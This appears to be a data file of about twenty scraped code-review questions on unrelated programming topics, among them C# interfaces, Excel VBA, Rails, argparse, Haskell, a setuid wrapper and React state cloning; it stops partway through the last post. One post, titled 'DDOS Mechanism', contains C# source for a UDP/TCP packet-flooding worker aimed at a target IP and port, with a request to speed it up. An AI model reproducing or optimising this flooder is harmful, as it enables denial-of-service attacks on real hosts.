texts: What would be alternative ways to model IConvention?

texts:
public class Item { /*...*/ }
public class Model { /*...*/ }

public interface IConventionInstanceSelector {
  IConventionInstance Select(Item item);
}

public interface IConventionInstance {
  void ApplyTo(Model model);
}

public interface IConvention {
  bool IsMatchedBy(Item item);
  IConventionInstance CreateInstance(Item item);
}

public class ConventionInstanceSelector : IConventionInstanceSelector {
  readonly List<IConvention<Item>> _conventions;

  public ConventionInstanceSelector(IEnumerable<IConvention<Item>> conventions) {
    _conventions = conventions.ToList();
  }

  public IConventionInstance Select(Item item) {
    foreach(var convention in _conventions) {
      if(convention.IsMatchedBy(item)) {
        return convention.CreateInstance(item);
      }
    }
    return NullConventionInstance.Instance;
  }
}

public class ModelReader {
  IConventionInstanceSelector _selector;

  public ModelReader(IConventionInstanceSelector selector) {
    _selector = selector;
  }

  public Model Read(IEnumerable<Item> items) {
    var model = new Model();
    foreach(var item in items) {
      _selector.Select(item).ApplyTo(model);
    }
    return model;
  }
}

I'm a bit concerned about the specification and factory method  being merged into one interface (IConvention) and that they can be called separately when in fact one depends on the decision of the other. I also get the feeling there's a pattern here I'm not seeing.

Just to give a little bit more context: I'm trying to build an API whereby people can build their own conventions that get applied to an input stream (an enumeration of items in this case) and have each convention apply a transformation on the input (the item in this case) and add it to a model. The main concern is the convention represents both the fact an item satisfies the convention as well as the logic to apply it to the model AND the fact that how I've modeled it right now, those are two distinct operations whereby the latter relies on the first to be able to do it's job properly. It's like specification pattern meets factory pattern.


texts: DDOS Mechanism: Improving thread safety & loop speed?

texts:
I'm pretty new to this but I coded a DDOS mechanism for educational purposes. I need to know if the thread safety can be improved (Right now I have none, but do I need any?) and if the loop speed can be improved (can data be sent any faster)?

public class SessionWorker : ISessionWorker
{
    private ISession _session;
    private readonly Task _cycleTask;
    private bool _cycleActive;

    public SessionWorker()
    {
        _cycleTask = new Task(OnCycle);
    }

    public void Load(ISession session)
    {
        _session = session;
    }

    public void Start()
    {
        _cycleTask.Start();
        _cycleActive = true;
    }

    public void Stop()
    {
        _cycleActive = false;
    }

    private void OnCycle()
    {
        if (_session.AttackType == SessionAttackType.Udp)
        {
            CycleUdp();
        }
        else
        {
            CycleTcp();
        }
    }

    private void CycleUdp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var udpClient = new UdpClient(_session.AttackingIp, _session.AttackingPort);

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                udpClient.Send(rubbish, rubbish.Length);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }

    private void CycleTcp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var tcpClient = new TcpClient();

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                tcpClient.Client.BeginSend(rubbish, 0, rubbish.Length, SocketFlags.None, ar => tcpClient.Client.EndSend(ar), tcpClient);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }
}

Other parts of the code?

public bool HasAttackExpired()
{
    return (DateTime.Now - AttackExpiration).TotalSeconds < 1;
}

StopAttack method:

public void StopAttack()
{
    if (IsAttacking && HasAttackExpired())
    {
        CoreUtilities.LogToConsole("Finished running an attack and sent " + BytesSent + " bytes.");
    }

    IsAttacking = false;

    AttackingIp = "";
    AttackingPort = 0;

    SessionWorker.Stop();
}


texts: Allow UITextView to resize as the user is typing

texts:
I want to be sure that in terms of auto-layout or just following the proper methods of doing the following is acceptable. I am not sure if there will be an constraint issues or efficiency problems that could slow down my app. It is working so far, I am in the process of trying to animate it as it resizes.

import UIKit

class PickUpViewController: UIViewController, UITextViewDelegate {

    @IBOutlet weak var addressTextVIew: TextViewAutoHeight!
    override func viewDidLoad() {
        super.viewDidLoad()
        addressTextVIew.delegate = self
    }

    func textViewDidChange(_ textView: UITextView) {
        if textView.contentSize.height > textView.frame.size.height {

            let fixedWidth = textView.frame.size.width
            textView.sizeThatFits(CGSize(width: fixedWidth, height: CGFloat.greatestFiniteMagnitude))

            var newFrame = textView.frame
            let newSize = textView.sizeThatFits(CGSize(width: fixedWidth, height: CGFloat.greatestFiniteMagnitude))

            newFrame.size = CGSize(width: max(newSize.width, fixedWidth), height: newSize.height)

            textView.frame = newFrame;
        }
    }
}


texts:
Thanks to zak for some great advice on this previous question. This is a follow up question:

I have an Excel workbook with two sheets: "Raw data" and "Summary". In the raw data sheet there are several blocks with data structured like the image below:

I want to create a summary of the data below, in the sheet "Summary", looking like this:

zak suggested that I remove a bunch of Select, and Activate, and to always explicitly state the Worksheet when creating Ranges. I.e. Sheet.Range(), instead of just Range().

The code I have after including the tips from zak is as follows:

Sub TransferAndSumElements()
    Dim wb As Workbook
    Dim ws1 As Worksheet
    Dim ws2 As Worksheet

    Set wb = ActiveWorkbook
    Set ws1 = Sheets("Raw data")
    Set ws2 = Sheets("Summary")

    '##############
    ' Copy / Paste first row
    '##############
    ws1.Range("A1:B1").Copy _
        Destination:=ws2.Range("A1")

    '##############
    ' Set Item names in summary
    '##############

    With ws2
        .Range("A2").FormulaR1C1 = "Knife"
        .Range("A3").FormulaR1C1 = "Fork"
        .Range("A4").FormulaR1C1 = "Spoon"
        .Range("A5").FormulaR1C1 = "Spork"
        .Range("A6").FormulaR1C1 = "Bowl"
    End With

    '##############
    ' Find Elements and Sum
    '##############

    Dim s As Long           ' Sum of elements for each Item
    Dim str As String       ' String in first column in "Summary" (Knife, Fork ...)
    Dim cellstr As String   ' String in first column in "Raw data" (To be searched through)
    Dim DataRange As Range  ' All rows in sheet 1 ("Raw data")

    ws1.Select              ' Select first worksheet ("This worksheet")
    LastRow = ws1.Cells.Find("*", searchorder:=xlByRows, searchdirection:=xlPrevious).Row
    Set DataRange = Range("A1:A" & LastRow)

    For i = 1 To 5          ' Iterate through Knife, Fork .. in "Summary"...

        str = ws2.Cells(i + 1, 1).Value     ' Extract names
        s = 0                               ' Initialize sum

        For r = 1 To LastRow
            cellstr = ws1.Range("A" & r, "A" & r).Value
            If InStr(cellstr, str) > 0 Then
                s = s + ws1.Range("B" & r, "B" & r).Value
            End If
        Next r

        ws2.Cells(i + 1, 2).FormulaR1C1 = s

    Next i

ws2.Activate

End Sub

Some stuff that I want to improve, but haven't been able to:

Automatically fetch the item names from "Raw data". I've tried creating a Collection, but I end up with an empty row in between the others (Knife, Fork, Spoon, Spork, Blank, Bowl).

I can loop through this list after creating it, and delete the blank row, but I think there should be a way to do this in one go.

I want to create a list of words ("Knife", "Fork" .. ) and write it to Excel in one command. The way I'm doing it now is to manually write each item name.
Do the loops make sense, or should I do it in some other way?

And last but not least:

What about the big picture? Does it make sense to do it like this, or should I do it completely different?

Note: The summary can be sorted alphabetically, by number of elements, or not sorted at all. That doesn't matter.

Tab delimited data dump:

Item    Number
Knife   2
Fork    2
Spoon   1
Spork   2

Item    Number
Spork   2
Fork    3

Item    Number
Bowl    3
Knife   5


texts: Displaying model statistics (as a sentence) in a view

texts:
A Rails 4.2 app has three models:

User
Author
Quote

... and the following associations:

users HABTM authors
author has_many quotes

If the user is associated with any authors, his "profile" view should display statistics about the number of quotes of each author.

Example:

  Your author(s) Mark Twain has 73 quotes, Charles Dickens has 92 quotes, and Oscar Wilde has 53 quotes.

If the user is not associated with any authors, that same view should display a different message.

Within the user model (app/models/user.rb):

def authors_statistics
  statistics = Array.new
  self.authors.each do |author|
    statistics << "#{author.name} has #{author.quotes.count} quotes"
  end
  statistics.to_sentence
end

Within the user profile view (ERB):

<% if current_user.authors_statistics.empty? %>
    You have not yet been given access to edit any authors&#39; quotes. Please
    <%= link_to 'send us a message', new_contact_form_path %> specifying to
    whose authors quotes you would like to contribute.
<% else %>
    Your author(s) <%= current_user.authors_statistics %>
<% end.to_sentence %>.

It seems to me that there is excessive coupling between the model and the view. Can you think of a better way to do it?


texts: Partial implementation of parsing a config-file and command line options

texts:
I need to be able to accept some options from either the command-line or a config-file.

This code is a snippet of the class that I am working on, I cannot post the entire class here. This code works, but I am wondering if it can be made better. I will need to have a class here, there is a lot more work that goes on in the real code, I have pulled out just the parsing stuff. Please note, there are also several more sub-parsers that I will need, but the sub-parser shown is the only one that will possibly use a config file.

There is an issue with argparse with nesting argument_groups and mutually_exclusive_groups. So, I am not trying to use mutually-exclusive, but I am checking that with my own code in the functions.

import argparse
import yaml
from pprint import pprint

_possible_config_file_keys = ('names', 'ids')

class Parser(object):

    def __init__(self):
        self.build_parser()
        self.options = self.parse_args()
        #do other stuff here using self.options

    def build_parser(self):
        self.root_parser = argparse.ArgumentParser(description="Tool for ...")
        self.root_sub_parsers = self.root_parser.add_subparsers(dest='action')
        self.add_person_parser()
        self.add_other_parser()

    def add_person_parser(self):
        parser = self.root_sub_parsers.add_parser('People')
        g = parser.add_argument_group('People Targets')
        g.add_argument(
            "--config-file",
            help='Supply a config file',
            type=argparse.FileType(mode='r'))
        g.add_argument('--name', dest='names', default=[], action='append')
        g.add_argument('--id', dest='ids', default=[], action='append')

    def add_other_parser(self):
        pass #would do actual work here and add more subparsers

    def parse_args(self):
        args = self.parse_command_line_args()
        if args.config_file:
            self.parse_config_file(args)
        delattr(args, 'config_file')

        #I must ensure that 'Bob' is in the list of names
        if 'Bob' not in args.names:
            args.names.append('Bob')
        return args

    def parse_command_line_args(self):
        return self.root_parser.parse_args()

    def parse_config_file(self, args):
        self.check_args(args)
        data = yaml.load(args.config_file)
        args.config_file.close()
        for key, value in data.items():
            if key not in _possible_config_file_keys:
                self.root_parser.error("Invalid key '{}' in config file".format(key))
            if isinstance(value, str):
                value = [value, ]
            setattr(args, key, value)

    def check_args(self, args):
        invalid_keys = [
            key for key in vars(args).keys() if key in _possible_config_file_keys
            and getattr(args, key)]
        if invalid_keys:
            self.root_parser.error("Cannot use config-file keys along with config-file")

#For my testing purpose
if __name__ == '__main__':
    parser = Parser()
    pprint(vars(parser.options))


texts: Select polygons that overlap with other polygons within a single feature class

texts:
I am running a script to identify polygons that overlap with other polygons within the same layer. I have managed to do this with the code below but the problem is that it is very slow (about 3 seconds per feature).

Is there anything I can do to improve its performance?

arcpy.CreateFeatureclass_management("results.gdb", "Overlapping_Polygons", "POLYGON", "lyr_existing_cadastre", "DISABLED", "DISABLED", arcpy.Describe("lyr_existing_cadastre").spatialReference)

arcpy.MakeFeatureLayer_management("results.gdb/Overlapping_Polygons", "lyr_Overlapping_Polygons")

arcpy.CreateFeatureclass_management("results.gdb", "Remaining_Polygons", "POLYGON", "lyr_existing_cadastre", "DISABLED", "DISABLED", arcpy.Describe("lyr_existing_cadastre").spatialReference)

arcpy.MakeFeatureLayer_management("results.gdb/Remaining_Polygons", "lyr_Remaining_Polygons")

arcpy.CreateFeatureclass_management("in_memory", "row", "POLYGON", "lyr_existing_cadastre", "DISABLED", "DISABLED", arcpy.Describe("lyr_existing_cadastre").spatialReference)

arcpy.MakeFeatureLayer_management("row", "lyr_row")

arcpy.AddSpatialIndex_management("lyr_existing_cadastre")

with arcpy.da.SearchCursor("lyr_existing_cadastre", ["OBJECTID"]) as search_cursor:
    for row in search_cursor:
        log("\t {}".format(row[0]))
        # Get the OBJECTID of row and use it to select row
        arcpy.SelectLayerByAttribute_management("lyr_existing_cadastre", "NEW_SELECTION", "\"OBJECTID\" = " + str(row[0]))

        # Copy row into a new feature class called row
        arcpy.Append_management("lyr_existing_cadastre", "lyr_row", "NO_TEST")

        # Remove row from the input
        arcpy.DeleteFeatures_management("lyr_existing_cadastre")

        # Select all features that intersect with row and copy them into the row feature class
        arcpy.SelectLayerByLocation_management("lyr_existing_cadastre", "WITHIN", "lyr_row", selection_type="NEW_SELECTION")
        arcpy.Append_management("lyr_existing_cadastre", "lyr_row", "NO_TEST")

        # If there is more than one feature in the row feature class
        # meaning there was something else in addition to row then delete those overlaps
        # from the input and append everything in row into the output feature class
        if (int(arcpy.GetCount_management("lyr_row").getOutput(0)) > 1):
            arcpy.DeleteFeatures_management("lyr_existing_cadastre")
            arcpy.Append_management("lyr_row", "lyr_Overlapping_Polygons", "NO_TEST")
        else:
            arcpy.Append_management("lyr_row", "lyr_Remaining_Polygons", "NO_TEST")

        arcpy.SelectLayerByAttribute_management("lyr_existing_cadastre", "CLEAR_SELECTION")
        arcpy.TruncateTable_management("lyr_row")
del search_cursor


texts: Sum of proper divisors of every number up to N

texts:
I wrote a function which provides the sum of proper divisors of every number up-to N (N is a natural number) and I want to improve its performance.

For example, if N = 10 then the output is:

[0, 0, 1, 1, 3, 1, 6, 1, 7, 4, 8]

This is my proper divisor sum function:

def proper_divisor_sum(N):
    N += 1
    divSum = [1] * N
    divSum[0], divSum[1] = 0, 0
    for i in range(2, N//2+1):
        for j in range(i+i, N, i):
            divSum[j] += i
    return divSum

I am certain that there is an algorithmic/mathematical optimization for this problem but I am having trouble thinking about it because I am not good at math.


texts:
For many years, I have waited for function aliases in C++. They still aren't here. I've been using macros to generate wrapper functions. This is my best attempt at the perfect function alias:

#define FUN_ALIAS(NEW_NAME, ...)                                                \
  template <typename... Args>                                                   \
  inline decltype(auto) NEW_NAME(Args &&... args)                               \
    noexcept(noexcept(__VA_ARGS__(std::forward<Args>(args)...))) {              \
    return __VA_ARGS__(std::forward<Args>(args)...);                            \
  }

I'm using std::forward to forward the arguments and I'm using decltype(auto) to get the right return type. In the future, we might have noexcept(auto) which will be perfect for this situation but I'm not getting my hopes up.

Here's an example from my OpenGL wrapper:

template <GLenum TYPE>
Shader<TYPE> makeShader();
template <GLenum TYPE>
Shader<TYPE> makeShader(const GLchar *, size_t);
template <GLenum TYPE, size_t... SIZES>
Shader<TYPE> makeShader(const GLchar (&... sources)[SIZES]);

FUN_ALIAS(makeVertShader, makeShader<GL_VERTEX_SHADER>)
FUN_ALIAS(makeFragShader, makeShader<GL_FRAGMENT_SHADER>)

What I want to know:

Is there a situation where the compiler will not optimize away the wrapper because the wrapper and the original function have different semantics?
Does this fail to compile for some functions?


texts: Method to re-open a connection on a datacontext if it has gone down

texts:
The following method is used to keep a DataContext open if it is closed or broken and is called before most calls to access the database.

It runs in a service that needs constant access to the database, constantly opening and closing the connection would be too costly. So we only reconnect if the connection has been closed, i.e. we have been kicked off.

private void OpenConnection<T>(System.Data.Linq.DataContext dataContext, string connectionString) where T : System.Data.Linq.DataContext
{
    try
    {
        if (dataContext != null && dataContext.Connection != null)
        {
            if (dataContext.Connection.State == System.Data.ConnectionState.Closed
             || dataContext.Connection.State == System.Data.ConnectionState.Broken)
            {
                dataContext.Dispose();
                dataContext = null;
            }
        }
    }
    catch
    {
        if (dataContext != null)
        {
            dataContext.Dispose();
        }
        dataContext = null;
    }

    if (dataContext == null)
    {
        dataContext = (T)System.Activator.CreateInstance(typeof(T), connectionString);
    }
}

It is called like:

OpenConnection<MyDataContext>(instanceOfMyDataContext, connectionString);

My main concerns are if my use of generics is correct and if the as T on creating an instance of the DataContext is correct. Although all pointers about my code are welcomed.


texts:
Because I don't like using \ to break long lines (to comply with PEP8), I tend to do something like this:

message = "There are {} seconds in {} hours."
message = message.format(nhours*3600, nhours)
print(message)

It also makes code cleaner. Is this an okay way of doing things?


texts: How can I store the fibonacci sequence in a vector during each recursive call?

texts:
#include <iostream>
#include <vector>

void getUserNum(int &);
int rFib(int n);
void dispSeq(std::vector<int> &vRef);

int main()
{
    int userNum;
    getUserNum(userNum);
    rFib(userNum);
    return 0;
}

void getUserNum(int &refVal)
{
    std::cout << "Enter a positive integer:\n";
    std::cin >> refVal;
}

int rFib(int n)
{
     static std::vector<int> fib;
     static bool baseReached = false;
     fib.push_back(n);

     if (baseReached)
     {
             dispSeq(fib);
     }

     if (n <= 1)
     {
        baseReached = true;
        return n;
     }
     else
     {
        return rFib(n-2) + rFib(n-1);
     }
 }

void dispSeq(std::vector<int> &v)
{
    for (size_t i = 0; i < v.size(); i++)
    {
        std::cout << v[i] << " ";
    }
    std::cout << std::endl;
 }


texts:
This is taken from HackerRank, which I hope is okay.

I've been playing around with Haskell and I haven't really been able to find anything that really goes beyond toy examples in terms of how to write a readable, well-structured program.  Several parts of this seem messy but I guess I don't really know any better.  Anyway, here's my code, which works (or at least passes all the unit tests supplied at HackerRank).

import Control.Monad

-- Given a list, return the pairs of consecutive elements in the list
consec :: [a] -> [(a,a)]
consec xs = zip xs (drop 1 (cycle xs))

-- Given a list of two elements, return a 2-tuple of the elements
make2Tuple :: [a] -> (a, a)
make2Tuple [x, y] = (x, y)

-- Apply a given function to the first element of a list
applyToFirst :: (a -> a) -> [a] -> [a]
applyToFirst _ [] = []
applyToFirst f (x:xs) = (f x):xs

-- Split a list at a specified delimiter
split :: Eq a => a -> [a] -> [[a]]
split _ [] = [[]]
split y (x:xs)
  | (x == y) = []:(split y xs)
  | (x /= y) = applyToFirst (x:) (split y xs)

-- Convert a string to a list of integers
stringToInts :: [Char] -> [Int]
stringToInts = map (read :: [Char] -> Int) . (split ' ')

-- Action that reads in a 2-tuple of integers
getInt2Tuple :: IO (Int, Int)
getInt2Tuple = fmap (make2Tuple . stringToInts) getLine

euclideanDistance :: ((Int, Int), (Int, Int)) -> Double
euclideanDistance ((x1, y1), (x2, y2)) = sqrt(fromIntegral((y2-y1)*(y2-y1) + (x2-x1)*(x2-x1)))

computePerimeter :: [(Int, Int)] -> Double
computePerimeter xs = sum (map euclideanDistance (consec xs))

main :: IO ()
main = (fmap computePerimeter (fmap (read :: [Char] -> Int) getLine >>= (\n -> replicateM n getInt2Tuple))) >>= print

Sample input

4
(0, 0)
(0, 1)
(1, 1)
(1, 0)

Sample output

4

Explanation

The input says that this polygon has four vertices, and then lists the vertices of a unit square.  The perimeter of a unit square is 4 (one unit per edge times four edges), which is what's output.


texts:
It was written in Emacs Lisp and requires Common Lisp loop facility.

Can this code be improved? Did I hit any anti-patterns along the way?

(defun combos (list)
  (let* ((a (car list))
         (d (cdr list))
         (s (and d (combos d)))
         (v (loop for c in s collect (cons a c))))
    (cons (list a) (append s v))))


texts:
import java.util.Scanner;

public class CAI {

    public static void main(String[] args) {

        Scanner cai = new Scanner(System.in);

        System.out.println("Caluclator");

        System.out.println("\nHere are your options:");
        System.out.println("\n1. Addition");
        System.out.println("2. Subtraction");
        System.out.println("3. Division");
        System.out.println("4. Multiplication");

        System.out.print("\nWhat would you like to do?: ");
        int choice = cai.nextInt();
        System.out.println();

        if (choice == 1){
            addition();
        }
        else if (choice == 2){
            subtraction();
        }
        else if (choice == 3){
            division();
        }
        else if (choice == 4){
            multiplication();
        }

        System.out.println();
        cai.close();
    }

    public static void addition(){

        int One, Two;
        Scanner cai = new Scanner(System.in);

        System.out.println("Addition");

        System.out.print("\nFirst Number: ");
        One = cai.nextInt();

        System.out.print("\nSecond Number: ");
        Two = cai.nextInt();

        cai.close();
        System.out.println("\nSum: " + One + " + " + Two + " = " + (One + Two));
    }

    public static void subtraction(){
        int One, Two;
        Scanner cai = new Scanner(System.in);

        System.out.println("Subtraction");

        System.out.print("\nFirst Number: ");
        One = cai.nextInt();

        System.out.print("\nSecond Number: ");
        Two = cai.nextInt();

        cai.close();
        System.out.println("\nSum: " + One + " - " + Two + " = " + (One - Two));
    }

    public static void division(){
        int One, Two;
        Scanner cai = new Scanner(System.in);

        System.out.println("Division");

        System.out.print("\nFirst Number: ");
        One = cai.nextInt();

        System.out.print("\nSecond Number: ");
        Two = cai.nextInt();

        cai.close();
        System.out.println("\nSum: " + One + " / " + Two + " = " + (One / Two));
    }

    public static void multiplication(){
        int One, Two;
        Scanner cai = new Scanner(System.in);

        System.out.println("Multiplication");

        System.out.print("\nFirst Number: ");
        One = cai.nextInt();

        System.out.print("\nSecond Number: ");
        Two = cai.nextInt();

        cai.close();
        System.out.println("\nSum: " + One + " x " + Two + " = " + (One * Two));
    }
}

ok So i have this project for a class and what i am trying to do is make addition questions that would pick the numbers i chose randomly and make questions out of them, i am also trying to have the user to write the answer and let them know if the answer they chose is right or wrong. I know its a lot to ask but my project is due in 2 hours and i need help


texts:
I wrote this as a convenient way to batch together multiple, repetitive AJAX calls. I was working in angular at the time, so I use the $q service, but I'm sure it could be adapted for a more general promise framework. I find it so useful, I'm interested in polishing it for general consumption.

// A utility function that can run for-like loops with asynchronous processes.
// Use just like forEach, but you can launch something like an ajax call in the
// loop, as long as you return a promise. You can choose to run the calls in
// serial (one after the other) or in parallel (launching them all at once).
// Either way, you can attach a callback when they're all done, and an array of
// the promise resolve values of each step is available.
// For example, this would call doAsyncJob() for every item in myList, one
// after the other, and run doSomethingElse() once those were all done:

// $forEachAsync(myList, function (item) {
//     return doAsyncJob(item);
// }, 'serial').then(function (arrayOfJobResults) {
//     doSomethingElse();
// });
MyAngularApp.factory('$forEachAsync', function ($q) {
    'use strict';
    return function forEachAsync(arrayOrDict, f, serialOrParallel) {
        if (serialOrParallel === 'parallel') {
            // Iterate over the data, calling f immediately for each data
            // point. Collect all the resulting promises together for return
            // so further code can be executed when all the calls are done.
            return $q.all(forEach(arrayOrDict, f));
        }
        if (serialOrParallel === 'serial') {
            // Set up a deferred we control as a zeroth link in the chain,
            // which makes writing the loop easier.
            var serialDeferred = $q.defer(),
                serialPromise = serialDeferred.promise,
                returnValues = [];
            // Do NOT make all the calls immediately, instead embed each data
            // point and chain them in a series of `then`s.
            // Note: this makes the assumption that forEach iterates over both
            // arrays and objects by providing only two arguments.
            forEach(arrayOrDict, function (a, b) {
                serialPromise = serialPromise.then(function (value) {
                    returnValues.push(value);
                    return f(a, b);
                });
            });
            // Fire off the chain.
            serialDeferred.resolve();
            // Return the whole chain so further code can extend it, making
            // sure to return the resolve values of each iteration as a list.
            return serialPromise.then(function (value) {
                // Add the final resolve value, and slice off the first, which
                // is the "zeroth link" value and is always undefined.
                returnValues.push(value);
                return returnValues.slice(1);
            });
        }
        throw new Error(
            "Must be 'serial' or 'parallel', got " + serialOrParallel
        );
    };
});


texts: Set-uid root program that runs a program as the user “restrict” (follow-up)

texts:
See Set-uid root program that runs a program as the user "restrict" for context.

I've written a very short program that is intended to run the program specified in its arguments (argv) as the user named "restrict" (which exists). I want to make sure that there are no subtle bugs in the program, and that the program is as simple as possible.

Is this program doing what I intend?
Can someone use this program to do anything malicious? Assume that anything running as the user "restrict" is not able to do anything malicious, but anything running as the user "root" obviously can.
Can this code be simplified, or (assuming the code is correct) can this code's correctness be made more obvious?

The code (compiled with gcc --std=c11):

#define _GNU_SOURCE
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <grp.h>
int main (int argc, char **argv) {
    if (argc < 2) return 1;
    struct passwd *r = getpwnam("restrict");
    gid_t supp[] = {};
    // De-escalate privileges.
    if (setgroups(0, supp)) return 1; // Remove supplementary groups.
    if (setgid(r->pw_gid)) return 1; // Switch group to "restrict".
    if (setuid(r->pw_uid)) return 1; // Switch user to "restrict".
    char *env[] = {NULL}; // Delete all environment variables.
    // Finally, attempt to replace this process.
    execvpe(argv[1], &argv[1], env);
    return 1; // Getting here means we failed.
}

The final binary will be owned by root, and will have the set-uid bit set, and will be executable by users in a particular group.

The ultimate goal is to allow users in a particular group to run any executable as the user "restrict".

Alternatively, is there a better way to accomplish this goal?


texts:
Could you please review the following?  My concern is XML parsing is hardcoded:

    Ext.Ajax.request({
        url: storageDataItem.contentlink,
        success: function (response) {
            var store;
            try {
                var parser = new DOMParser();
                // TODO: remove extra lines or ignore on parsing. How? :)
                var xml = parser.parseFromString(response.responseText, "text/xml");
                var mediaContentURL = response.responseXML.childNodes[0].childNodes[0].childNodes[1].lastChild.attributes[0].nodeValue;
                var title = xml.getElementsByTagName('title')[1].childNodes[0].nodeValue;
            } catch (e) {
                // ignore exception
            }
            console.log("storage: ")
        }
    });
    this.fireEvent("playButtonTapped", storageDataItem);
    this.fireEvent("playAudioFile", title, mediaContentURL);

The actual feed


texts: Object-oriented RPG in Java, determining the data of a generated location

texts:
I've been coding for around a month, learning through CodeHS and coding within their sandbox tool. I am currently working on a text-based explorer/RPG game in order to practice Object-Oriented Programming in Java.

I wanted to know if the current relationship between the Location and the Explore class is optimal, as I am not sure if accessing the instance variables of Location within Explore is considered to be bad practice. Also, my current method of determining whether or not a generated location is for example a stream seems inefficient, as it simply checks if it contains the strings "stream" or "river". Any help with design is greatly appreciated as well.

The Explore Class:

public class Explore{

    public Location location;
    public Player player;
    //distances from the town originated and to next town
    public int distanceFrom;
    public int distanceTo;

    public Explore(Player player){
        this.player = player;
        this.distanceFrom = 0;
        this.distanceTo = RNG.range(3, 6);
        this.location = new Location(player);
    }
    public int getDistanceFrom(){
        return distanceFrom;
    }
    public int getDistanceTo(){
        return distanceTo;
    }

    public boolean isStream(){
        return location.isStream;
    }
    public boolean canDrink(){
        return location.canDrink;
    }
    public void drink(){
        location.canDrink = false;
    }

    public String getDesc(){
        return location.toString() + " " + distanceFrom + " km away from your origin";
    }
    public Location getLocation(){
        return location;
    }

    public void advance(){
        if(distanceFrom <= 5){
            player.incrementDev(RNG.range(1, 4));
        }else{
            player.incrementDev(RNG.range(3, 6));
        }

        this.location = new Location(player);
        this.distanceFrom++;
        this.distanceTo--;
    }

    public boolean checkNearbyTown(){
        if(distanceTo <= 1 && distanceTo > -1){
            return true;
        }else{
            return false;
        }
    }
}

The Location Class:

public class Location
{
    private Player player;
    private String desc;

    public boolean isStream = false;
    public boolean isCave = false;
    public boolean canDrink = false;
    //add caves later
    //public boolean canCave = false;

    public Location(Player player){
        this.player = player;
        this.desc = RNG.locationDesc(player);

        if((this.desc.indexOf("stream") != -1) || (this.desc.indexOf("river") != -1)){
            this.isStream = true;
            this.canDrink = true;
        }
    }

    public String toString(){
        return desc;
    }
}

The RNG Class, which handles my games random events:

import java.util.*;

public class RNG{

    //Handles all random events such as pulling a number from a range or generating a name/stats
    public static int roll(int sides){
        int aRoll = (int)(Math.random() * sides + 1);
        return aRoll;
    }
    public static int range(double min, double max){
        return (int)(Math.random() * (max - min + 1) + min);
    }

    public static String locationDesc(Player player){
        int dev = player.getDev();
        //takes in a player input in order to determine their insanity, making a more twister are
        String[] desc;
        if(dev <= 75){
            desc = new String[]{"an unassuming wooded area", "an open flower field",
                "a steady stream", "the entrance of a small cave", "a small river"};
        }else{
            desc = new String[]{"Spookier areas to add later"};
        }

        int index = (int)(Math.random() * desc.length);
        return desc[index];
    }
}


texts: Reposition vertices at the origin of a coordinate system

texts:
This method repositions vertices of an object in such a way that the center of the object is at the origin of the coordinate system. The task is the commented part. While my code does the job I feel that it is very basic. I am looking for advice on how to make it faster and more elegant, concise and efficient. Any comments are welcome.

import java.nio.FloatBuffer;

public class ObjModifier {
    public static void centerVertices(FloatBuffer buf) {
        // We often get 3D models which are not positioned at the origin of the coordinate system. Placing such models
        // on a 3D map is harder for users. One solution is to reposition such a model so that its center is at the
        // origin of the coordinate system. Your task is to implement the centering.
        //
        // FloatBuffer stores the vertices of a mesh in a continuous array of floats (see below)
        // [x0, y0, z0, x1, y1, z1, ..., xn, yn, zn]
        // This kind of layout is common in low-level 3D graphics APIs.
        // TODO: Implement your solution here

        float[] a = new float[buf.capacity()];
        buf.get(a);

        float[] sums = new float[3];
        float[] avgs = new float[3];

        for (int i = 0 ; i < a.length; i+=3) {
            sums[0] += a[i];
            sums[1] += a[i+1];
            sums[2] += a[i+2];

        }

        for (int i = 0; i < avgs.length; i++) {
            avgs[i] = sums[i]/(a.length/3);
        }

        for (int i = 0 ; i < a.length; i+=3) {
            a[i] -= avgs[0];
            a[i+1] -= avgs[1];
            a[i+2] -= avgs[2];

        }

        for (int i = 0; i < a.length; i++) {
            buf.put(i, a[i]);
        }
        //

    }
}


texts: Swap a word in the DOM from an array of words

texts:
I have question about my code. It should swap words from an array into an HTML Element and it does so like expected. However, I was wondering about the style of my code. I would like to get some feedback on how to improve the code.

Javascript

const words = [
    "Webdesigner",
    "Frontend Entwickler",
    "Webentwickler",
    "eine Flitzpiepe"
];

const interval = 2000;

function swapWords(words, interval){

    const swappingWord = document.getElementById("swappingWord");
    let i = 0;

    setInterval(function(){

        swappingWord.textContent = words[i].toUpperCase();
        i++;

        if(i == words.length){
            i = 0;
        }
    }, interval)
}
swapWords(words, interval)

HTML

WEBDESIGNER


texts: Deep cloning and modifying containers from ReactJS this.state

texts:
I am presently working on refactoring ReactJS code away from directly manipulating this.state and towards using this.setState() only (which I should have been doing from the beginning).

The contents of this.state in my application include containers with varying numbers of objects. They are entirely JSON-serializable, but I realized I found myself doing something a lot that I don't recall seeing in the ReactJS documentation (hence the request for a code review). I'm interested in knowing, besides general code quality, how close it is to ReactJS idiomatic usage and how it might be moved closer.

The clone() method I have now is intended to provide a deep clone of JSON-serializable objects, without guarantees as to objects that can't be serialized:

var clone = function(original) {
    if (typeof original === 'undefined' ||
      original === null ||
      typeof original === 'boolean' ||
      typeof original === 'number' ||
      typeof original === 'string') {
      return original;
    }
    if (Object.prototype.toString.call(original) === '[object Array]') {
      var result = [];
      for(var index = 0; index &lt; original.length; index += 1) {
        result[index] = clone(original[index]);
      }
    } else {
      for(var current in original) {
        var result = {};
        if (original.hasOwnProperty(current)) {
          result[current] = original[current];
        }
      }
    }
    if (typeof original.prototype !== undefined) {
      result.prototype = original.prototype;
    }
    return result;
}

What I find myself doing repeatedly is of the form (here using classical form Hijaxing to add a new entry):

handle_submit: function(event) {
      event.preventDefault();
      var entry_being_added = clone(this.state.entry_being_added);
      entry_being_added.month = parseInt(jQuery('#month').val());
      entry_being_added.date = parseInt(jQuery('#date').val());
      entry_being_added.year = parseInt(jQuery('#year').val());
      if (jQuery('#all_day').is(':checked')) {
        entry_being_added.all_day = true;
      } else {
